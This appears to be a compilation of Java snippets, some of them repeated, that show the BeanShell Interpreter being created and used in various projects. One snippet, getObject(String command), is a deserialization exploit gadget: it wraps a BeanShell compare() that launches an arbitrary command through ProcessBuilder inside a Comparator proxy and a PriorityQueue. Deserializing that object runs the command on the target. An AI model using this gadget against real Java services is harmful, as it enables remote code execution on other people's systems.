private static Interpreter getInterpreter() { if(null == s_interpreter) { s_interpreter= new Interpreter(); } return s_interpreter; }
/** * Evaluate the specified BeanShell script based on the given script source, * returning the Class defined by the script. * <p>The script may either declare a full class or return an actual instance of * the scripted object (in which case the Class of the object will be returned). * In any other case, the returned Class will be {@code null}. * @param scriptSource the script source text * @param classLoader the ClassLoader to use for evaluating the script * @return the scripted Java class, or {@code null} if none could be determined * @throws EvalError in case of BeanShell parsing failure */ @Nullable static Class<?> determineBshObjectType(String scriptSource, @Nullable ClassLoader classLoader) throws EvalError { Assert.hasText(scriptSource, "Script source must not be empty"); Interpreter interpreter = new Interpreter(); if (classLoader != null) { interpreter.setClassLoader(classLoader); } Object result = interpreter.eval(scriptSource); if (result instanceof Class) { return (Class<?>) result; } else if (result != null) { return result.getClass(); } else { return null; } }
@Override @Nullable public Object evaluate(ScriptSource script, @Nullable Map<String, Object> arguments) { try { Interpreter interpreter = new Interpreter(); interpreter.setClassLoader(this.classLoader); if (arguments != null) { for (Map.Entry<String, Object> entry : arguments.entrySet()) { interpreter.set(entry.getKey(), entry.getValue()); } } return interpreter.eval(new StringReader(script.getScriptAsString())); } catch (IOException ex) { throw new ScriptCompilationException(script, "Cannot access BeanShell script", ex); } catch (EvalError ex) { throw new ScriptCompilationException(script, ex); } }
Interpreter interpreter = new Interpreter(); interpreter.setClassLoader(classLoader); Object result = interpreter.eval(scriptSource);
/** * Evaluate the specified BeanShell script based on the given script source, * returning the Class defined by the script. * <p>The script may either declare a full class or return an actual instance of * the scripted object (in which case the Class of the object will be returned). * In any other case, the returned Class will be {@code null}. * @param scriptSource the script source text * @param classLoader the ClassLoader to use for evaluating the script * @return the scripted Java class, or {@code null} if none could be determined * @throws EvalError in case of BeanShell parsing failure */ @Nullable static Class<?> determineBshObjectType(String scriptSource, @Nullable ClassLoader classLoader) throws EvalError { Assert.hasText(scriptSource, "Script source must not be empty"); Interpreter interpreter = new Interpreter(); if (classLoader != null) { interpreter.setClassLoader(classLoader); } Object result = interpreter.eval(scriptSource); if (result instanceof Class) { return (Class<?>) result; } else if (result != null) { return result.getClass(); } else { return null; } }
Interpreter interpreter = new Interpreter(); interpreter.eval("result = 5+4*(7-15)"); System.out.println(interpreter.get("result"));
@Override @Nullable public Object evaluate(ScriptSource script, @Nullable Map<String, Object> arguments) { try { Interpreter interpreter = new Interpreter(); interpreter.setClassLoader(this.classLoader); if (arguments != null) { for (Map.Entry<String, Object> entry : arguments.entrySet()) { interpreter.set(entry.getKey(), entry.getValue()); } } return interpreter.eval(new StringReader(script.getScriptAsString())); } catch (IOException ex) { throw new ScriptCompilationException(script, "Cannot access BeanShell script", ex); } catch (EvalError ex) { throw new ScriptCompilationException(script, ex); } }
Interpreter interpreter = new Interpreter(); interpreter.setClassLoader(classLoader); Object result = interpreter.eval(scriptSource);
public PriorityQueue getObject(String command) throws Exception { // BeanShell payload String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" + Strings.join( // does not support spaces in quotes Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}"; // Create Interpreter Interpreter i = new Interpreter(); // Evaluate payload i.eval(payload); // Create InvocationHandler XThis xt = new XThis(i.getNameSpace(), i); InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); // Create Comparator Proxy Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler); // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator); Object[] queue = new Object[] {1,1}; Reflections.setFieldValue(priorityQueue, "queue", queue); Reflections.setFieldValue(priorityQueue, "size", 2); return priorityQueue; }
public BeanShellTileSourceTemplate(String name, String urlToLoad, String ext, int maxZoom, int minZoom, int tileSize, int bitDensity, int avgSize) { super(name, urlToLoad, ext, maxZoom, minZoom, tileSize, bitDensity, avgSize); bshInterpreter = new Interpreter(); try { bshInterpreter.eval(urlToLoad); bshInterpreter.getClassManager().setClassLoader(new ClassLoader() { @Override public URL getResource(String resName) { return null; } @Override public InputStream getResourceAsStream(String resName) { return null; } @Override public Class<?> loadClass(String className) throws ClassNotFoundException { throw new ClassNotFoundException("Error requesting " + className); } }); } catch (bsh.EvalError e) { log.error("Error executing the map init script " + urlToLoad, e); } }
import bsh.Interpreter; Interpreter i = new Interpreter(); // Construct an interpreter YourObject yourObject = new YourObject(); i.set("myObject", yourObject ); // Source an external script file i.source("somefile.bsh");
public void actionPerformed (ActionEvent ev) { String bshSource = ev.getActionCommand(); try { Interpreter bsh = new Interpreter (); bsh.source (bshSource); } catch (Exception e) { e.printStackTrace(); } } }
protected Interpreter getInterpreter() { if (interpreter == null) { this.interpreter = new Interpreter(); interpreter.setNameSpace(null); // should always be set by context } return interpreter; }
public BeanshellTask(Processor p) throws ClassNotFoundException { this.proc = (BeanshellProcessor) p; ClassLoader classLoader = proc.findClassLoader(); interpreter = new Interpreter(); interpreter.setClassLoader(classLoader); logger.info("Beanshell using classloader " + classLoader); }
protected Interpreter getInterpreter(Form form, String namespace) { Interpreter i = (Interpreter) formProcessor.getAttribute(form, namespace, FormProcessor.ATTR_INTERPRETER); if (i == null) formProcessor.setAttribute(form, namespace, FormProcessor.ATTR_INTERPRETER, i = new Interpreter()); return i; }
public void actionPerformed(ActionEvent e) { try { Interpreter interpreter = new Interpreter(); interpreter.eval(scriptText.getText()); } catch (EvalError e1) { e1.printStackTrace(); } } });
public PreparsedScript(final String source, final ClassLoader classLoader) throws EvalError { final ClassManagerImpl classManager = new ClassManagerImpl(); classManager.setClassLoader(classLoader); final NameSpace nameSpace = new NameSpace(classManager, "global"); _interpreter = new Interpreter(new StringReader(""), System.out, System.err, false, nameSpace, null, null); try { final This callable = (This) _interpreter.eval("__execute() { " + source + "\n" + "}\n" + "return this;"); _method = callable.getNameSpace().getMethod("__execute", new Class[0], false); } catch (final UtilEvalError e) { throw new IllegalStateException(e); } }
private Interpreter initInterpreter () throws EvalError { Interpreter bsh = new Interpreter (); bsh.set ("sp", sp); bsh.set ("spacelet", this); bsh.set ("log", getLog()); return bsh; } private Interpreter initInterpreter (Object key) throws EvalError {
public BeanShellRule(String fileLocation, String id, Pattern path) throws IOException, EvalError { i = new Interpreter(); i.set("logger", logger); this.script = getFileContents(ESAPI.securityConfiguration().getResourceFile(fileLocation)); this.id = id; this.path = path; }
public void initService() { bsh = new Interpreter (); BshClassManager bcm = bsh.getClassManager(); try { bcm.setClassPath(getServer().getLoader().getURLs()); } catch (UtilEvalError e) { e.printStackTrace(); } bcm.setClassLoader(getServer().getLoader()); } public void startService() {